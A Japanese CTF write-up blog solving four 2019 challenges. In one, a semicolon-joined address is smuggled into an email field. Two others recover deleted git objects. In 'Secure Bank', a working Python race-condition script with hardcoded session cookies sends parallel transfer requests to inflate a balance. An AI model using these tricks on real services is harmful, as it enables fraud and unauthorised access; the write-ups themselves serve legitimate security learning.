INS'hAck 2019 Writeup - atchap
Question
This is a message to all ATchap employees. Our new communication software is now in a beta mode. To register, just enter you email address, you'll receive shortly the activation code. https://atchap.ctf.insecurity-insa.fr
Solution
emailアドレスを入力する画面。
適当なフリーメールサービスを使用してメールアドレスを払い出す。
(私はいつも以下のサービスを使っている。)
✉ Guerrilla Mail - Disposable Temporary E-Mail Address
払い出されたメールアドレスを入力するが、You're not whitelisted or not part of the company..
のメッセージ。
トップ画面の下部にContact us at firstname.lastname@almosttchap.fr
のメッセージがある。
また、3名の従業員のfirstnameとlastnameの情報もトップ画面にある。
うち1名の情報からsamira.bien@almosttchap.fr
のメールアドレスを組み立てる。
こちらを入力すると、You're not using your official address..
のメッセージとなり、レスポンスが変わった。
メールアドレスのバリデーションチェックは突破していそうだ。
末尾が@almosttchap.frであることをチェックしていると仮定。
そこで、先ほど払い出されたメールアドレスと、samira.bien@almosttchap.fr
をセミコロンで区切って入力してみる。
<自分のメールアドレス>;samira.bien@almosttchap.fr
ただ、画面の入力項目のtypeがemail
になっているため、;
記号をsubmitできない。
そこで、Chromeの開発者ツールのコンソールでdocument.getElementById("email").type = "text"
を実行し、入力チェックを無効化してsubmitする。
Mail sent, check your spam folder and wait up to 5 minutes
のメッセ―ジが返ってきた。
メールボックスを確認するとメールが届いていた。
Welcome to societe From: inshack.mail1@gmail.com, To: lrytjsgx, Date 2019-05-04 06:29:08 Here is your flag : INSA{1fd9fa56444a424d} . Remember to make responsible disclosure ;)
フラグゲット
INSA{1fd9fa56444a424d}
TSG CTF 2019 Writeup - Obliterated File, Obliterated File Again
Obliterated File
Question
※ This problem has unintended solution, fixed as "Obliterated File Again". Original problem statement is below. Working on making a problem of TSG CTF, I noticed that I have staged and committed the flag file by mistake before I knew it. I googled and found the following commands, so I'm not sure but anyway typed them. It should be ok, right? ※ この問題は非想定な解法があり,"Obliterated File Again" で修正されました.元の問題文は以下の通りです. TSG CTFに向けて問題を作っていたんですが,いつの間にか誤ってflagのファイルをコミットしていたことに気付いた! とにかく,Google先生にお伺いして次のようなコマンドを打ちこみました.よくわからないけどこれできっと大丈夫...? $ git filter-branch --index-filter "git rm -f --ignore-unmatch problem/flag" --prune-empty -- --all $ git reflog expire --expire=now --all $ git gc --aggressive --prune=now Difficulty Estimate: easy
Solution
添付ファイルを展開すると、.gitを含むファイル群。
.git/objects配下を適当にgit cat-file -p <ハッシュ>
で表示するがフラグは見つからない。
packファイルがあったので、packファイルをunpackする。
以下の記事を参考にした。
root@kali:~/Contest/TSGCTF2019/easy_web# cd /tmp/ root@kali:/tmp# git init newrepo Initialized empty Git repository in /tmp/newrepo/.git/ root@kali:/tmp# cd newrepo/ # unpackする root@kali:/tmp/newrepo# git unpack-objects < ~/Contest/TSGCTF2019/easy_web/.git/objects/pack/pack-358c51ff6239c4616442ad260a7f71391fec6fc2.pack Unpacking objects: 100% (99/99), done. # objects配下に大量のファイルが展開されていることを確認する root@kali:/tmp/newrepo# ll .git/objects/*/* -r--r--r-- 1 root root 193 May 5 10:41 .git/objects/00/ba81bd54c79a5e712435ee9ecd2b2d8585917c -r--r--r-- 1 root root 313 May 5 10:41 .git/objects/02/d365359d84a5d4f4317fa3549fe073a024c502 -r--r--r-- 1 root root 160 May 5 10:41 .git/objects/03/afe118213dd7af1979e70f12d1deca4d3d5477 (snip) # cat-fileするためにハッシュに加工する root@kali:/tmp/newrepo# ll .git/objects/*/* | sed 's@.*objects@@' | sed 's@/@@g' 00ba81bd54c79a5e712435ee9ecd2b2d8585917c 02d365359d84a5d4f4317fa3549fe073a024c502 03afe118213dd7af1979e70f12d1deca4d3d5477 (snip) root@kali:/tmp/newrepo# mkdir export # objects配下の全ファイルをcat-fileで生成 root@kali:/tmp/newrepo# for object in `ll .git/objects/*/* | sed 's@.*objects@@' | sed 's@/@@g'`; do git cat-file -p $object > ./export/$object; done root@kali:/tmp/newrepo# ll export/ total 392 -rw-r--r-- 1 root root 230 May 5 10:51 00ba81bd54c79a5e712435ee9ecd2b2d8585917c -rw-r--r-- 1 root root 458 May 5 10:51 02d365359d84a5d4f4317fa3549fe073a024c502 -rw-r--r-- 1 root root 218 May 5 10:51 03afe118213dd7af1979e70f12d1deca4d3d5477 (snip) # flagでgrepすると111eb967d40ae9bc7b2d16bbab7aaac5746ba1dcにフラグがありそう root@kali:/tmp/newrepo# grep flag export/* export/02d365359d84a5d4f4317fa3549fe073a024c502:flag = File.open("./flag", "r") do |f| export/02d365359d84a5d4f4317fa3549fe073a024c502: db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');" export/6eec6e57cc9eb5aa67f09fb73bdb3b933d7fdded:The flag is admin's password. export/8ce8f78879f344df4e079a81048e7e18fdb29fed:100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc flag export/b8b02f91a5b2407cb4014c81440ce7620c4830bc:100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc flag export/c9319554ea383df062bafa9e96915ffe62136457:100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc flag export/e518bb214047db324b2e9b09d5617d84c6cc4ebf:100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc flag export/ebc4754f23719c17eedf24af0187be86b52e71d2:flag = File.open("./flag", "r") do |f| export/ebc4754f23719c17eedf24af0187be86b52e71d2: db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');" root@kali:/tmp/newrepo# file export/111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc export/111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc: zlib compressed data # zlib圧縮ファイルであるため展開 root@kali:/tmp/newrepo# printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" |cat - ./export/111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc | gzip -dc > flag gzip: stdin: unexpected end of file root@kali:/tmp/newrepo# cat flag TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}`
フラグゲット
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}
Obliterated File Again
Question
I realized that the previous command had a mistake. It should be right this time...? さっきのコマンドには間違いがあったことに気づきました.これで今度こそ本当に,本当に大丈夫なはず......? $ git filter-branch --index-filter "git rm -f --ignore-unmatch *flag" --prune-empty -- --all $ git reflog expire --expire=now --all $ git gc --aggressive --prune=now Difficulty Estimate: easy - medium
Solution
Obliterated File と全く同じ手順でフラグゲットできた。
Obliterated Fileが想定外の解法だった?
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}
TSG CTF 2019 Writeup - Secure Bank
Question
I came up with more secure technique to store user list. Even if a cracker could dump it, now it should be of little value!!! http://34.85.75.40:19292/ ユーザ情報を保存するのに、もっとセキュアな方法を思いついた気がしなくもない。 仮に全部ダンプされてしまったとしても、かなり無価値になりそうでは。 http://34.85.75.40:19292/ Difficulty estimate: Easy
Solution
アカウントを作成してログインすると以下の画面。
別アカウント名を指定して送金できるようだ。
一旦、トップに戻ってsourceリンクからソースコードを確認する。
require 'digest/sha1' require 'rack/contrib' require 'sinatra/base' require 'sinatra/json' require 'sqlite3' STRETCH = 1000 LIMIT = 1000 class App < Sinatra::Base DB = SQLite3::Database.new 'data/db.sqlite3' DB.execute <<-SQL CREATE TABLE IF NOT EXISTS account ( user TEXT PRIMARY KEY, pass TEXT, balance INTEGER ); SQL use Rack::PostBodyContentTypeParser enable :sessions def err(code, message) [code, json({message: message})] end not_found do redirect '/index.html', 302 end get '/source' do content_type :text IO.binread __FILE__ end get '/api/flag' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user row = res.next balance = row && row[0] res.close return err(401, 'login first') unless balance return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000 json({flag: IO.binread('data/flag.txt')}) end post '/api/balance' do return err(401, 'login first') unless user = session[:user] hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} res = DB.query('SELECT balance FROM account WHERE user = ?', hashed_user) row = res.next res.close return err(401, 'login first') unless row json({balance: row[0]}) end post '/api/register' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT sleep 1 hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} begin DB.execute 'INSERT INTO account (user, pass, balance) VALUES (?, ?, 100)', hashed_user, hashed_pass rescue SQLite3::ConstraintException return err(422, 'the username has already been taken') end return 200 end post '/api/login' do return err(400, 'bad request') unless user = params[:user] and String === user return err(400, 'bad request') unless pass = params[:pass] and String === pass return err(400, 'too short username') unless 4 <= user.size return err(400, ':thinking_face: 🤔') unless 6 <= pass.size return err(400, 'too long request') unless user.size <= LIMIT and pass.size <= LIMIT hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)} hashed_pass = STRETCH.times.inject(pass){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT 1 FROM account WHERE user = ? AND pass = ?', hashed_user, hashed_pass row = res.next res.close return err(401, 'username and password did not match') unless row session[:user] = user return 200 end post '/api/logout' do session[:user] = nil return 200 end post '/api/transfer' do return err(401, 'login first') unless src = session[:user] return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src return err(400, 'bad request') unless amount = params[:amount] and String === amount return err(400, 'bad request') unless amount = amount.to_i and amount > 0 sleep 1 hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)} hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)} res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src row = res.next balance_src = row && row[0] res.close return err(422, 'no enough coins') unless balance_src >= amount res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst row = res.next balance_dst = row && row[0] res.close return err(422, 'no such user') unless balance_dst balance_src -= amount balance_dst += amount DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_src, hashed_src DB.execute 'UPDATE account SET balance = ? WHERE user = ?', balance_dst, hashed_dst json({amount: amount, balance: balance_src}) end end
以下のことがわかる。
- balanceが10,000,000,000を超えたらflagをゲットできる。
- usernameとpasswordに対してSHA1のハッシュ計算を1000回かけてからDBに保存している。
- APIは以下の6種類。
/api/transferを眺めると、いわゆるトランザクション処理が無いことに気付く。
よって、複数の送金処理を同時に実行し、「DBからbalanceの取得および減算/加算」と「減算/加算後のUPDATE」の実行順序を前後させることで、送金後のアカウントのbalanceを、送金前のbalanceの値で上書きできそうだ。
アカウントをA、B、Cの3つを用意し、
リクエスト1:A→Bに1だけ送金
リクエスト2:B→Cに全額送金
の処理を同時にリクエストする。その際、以下の処理順序になれば成功。
- リクエスト1:アカウントAとBのbalanceをDBから取得し、減算/加算。
- リクエスト2:アカウントBとCのbalanceをDBから取得し、減算/加算。
- リクエスト2:アカウントBとCのbalanceをDBに反映。アカウントBのbalanceは0になる。
- リクエスト1:アカウントAとBのbalanceをDBに反映。アカウントBのbalanceは元のbalanceから1増えた値になる。
この処理を自動化するスクリプトは以下のとおり。
requestsを並列で実行するために、以下の記事を参考にした。
pod.hatenablog.com
import requests import json import asyncio # 3つのアカウントのセッション情報をあらかじめ用意 session_keep='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWNiMTJkNmE0NmRlZmJjYjMxYzZi%0ANTQ3NTI4Mzc3ZGQxODQyYTY5MTVmNGVkOTViNzY4Mjg4YTlmZmM3ZGU3OWQG%0AOwBGSSIJY3NyZgY7AEZJIjF6S0VZM0JWT0ltTDF2SlJvbjAvYVFvVnRWdDRF%0ATUsrb0VIVEdIMGJzcWs0PQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1kZTEzMjYyNGE2YmIyODliNzU0M2E5Mzk2NmUy%0ANTY2MWE3MmUzZmJiBjsARkkiCXVzZXIGOwBGSSIMa2VlcG1hbgY7AFQ%3D%0A--f662dd8c27209302d22e70fc637d10234d1844b7' session_transfer='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRTY2NGEwMTRlYzZjOGIwYWEyZDlj%0ANzdjMTEzZjliYzA3Zjk4MGVjYTIwYjRlYjA3MDUzNDVlNDlhNDAwNmM1OGIG%0AOwBGSSIJY3NyZgY7AEZJIjFmUkh1dmVOdmhpNWlvd3FZcWtpdXdURzJuMnNP%0AcG5sWEM1YWpQcEo2bE1RPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1kZTEzMjYyNGE2YmIyODliNzU0M2E5Mzk2NmUy%0ANTY2MWE3MmUzZmJiBjsARkkiCXVzZXIGOwBGSSIQdHJhbnNmZXJtYW4GOwBU%0A--a3e861b4da652c0fcbb68be5405ce39915ed80ca' session_rich='BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWZmMGJmNmYzM2Q0Y2VlYjk1NDI3%0AOTVkMzEyNDJhYzAxNDFlMjA0NTFmMWYwMzFjOTIxZjRlMWQyMmNmNzA3NDQG%0AOwBGSSIJY3NyZgY7AEZJIjFxazQzZUtya1g3eTN4dk16cHFuS2dGVkFkdUpj%0AVjRjWlR3REpLUzFXZkJjPQY7AEZJIg10cmFja2luZwY7AEZ7BkkiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1hMWYzODY1Yjk4MGRiYjBiNDdkYTAwYzJlZGEw%0ANzFkZWQ4ODE4NzBiBjsARkkiCXVzZXIGOwBGSSIOa2FuZW1vY2hpBjsAVA%3D%3D%0A--ff7c567d7d318aa01d18398d0cafdc8bad29cee2' balanceurl = "http://34.85.75.40:19292/api/balance" url = "http://34.85.75.40:19292/api/transfer" def prepare(): ''' r = requests.post( url, data=json.dumps({ 'target':'keepman', 'amount':'10' }), headers={ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_rich } ) ''' r = requests.post( balanceurl, headers={ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_rich } ) data = r.json() ammount = str(data["balance"]) r = requests.post( url, data=json.dumps({ 'target':'transferman', 'amount':ammount }), headers={ 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_rich } ) print(r.text) r = requests.post( balanceurl, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_transfer } ) data = r.json() ammount = str(data["balance"]) return ammount def keep(): r = requests.post( url, data=json.dumps({ 'target':'transferman', 'amount':'1' }), headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_keep } ) print(r.text) def transfer(ammount): r = requests.post( url, data=json.dumps({ 'target':'kanemochi', 'amount':ammount }), headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36', 'Content-Type': 'application/json', 'Cookie': 'rack.session=' + session_transfer } ) print(r.text) async def run(loop, ammount): async def run_req_keep(): return await loop.run_in_executor(None, keep) async def run_req_transfer(ammount): return await loop.run_in_executor(None, transfer, ammount) tasks = [] tasks.append(run_req_keep()) tasks.append(run_req_keep()) tasks.append(run_req_keep()) tasks.append(run_req_keep()) tasks.append(run_req_transfer(ammount)) return await asyncio.gather(*tasks) for i in range(1000): ammount = prepare() loop = asyncio.get_event_loop() loop.run_until_complete(run(loop, ammount))
あとはガチャの世界。
実行すると、処理順序が前後する度にbalanceが倍々になっていく。
実行ログ例
{"amount":1,"balance":258} {"amount":1,"balance":256} {"amount":1,"balance":257} {"amount":46331405,"balance":1} {"amount":1,"balance":259} {"amount":46331405,"balance":0} {"amount":1,"balance":254} {"amount":1,"balance":252} {"amount":1,"balance":253} {"amount":92662811,"balance":2} {"amount":1,"balance":255} {"amount":92662811,"balance":0}
途中、接続エラーに何度かなるが、粘り強く実行していると、10,000,000,000を超える。
フラグゲット
TSGCTF{H4SH_FUNCTION_1S_NOT_INJ3C71V3... :(}
あれ?想定解と違った?
おまけ
自分が着手する前にDiscordで以下のアナウンスがあり、少々ビビりながら実行した。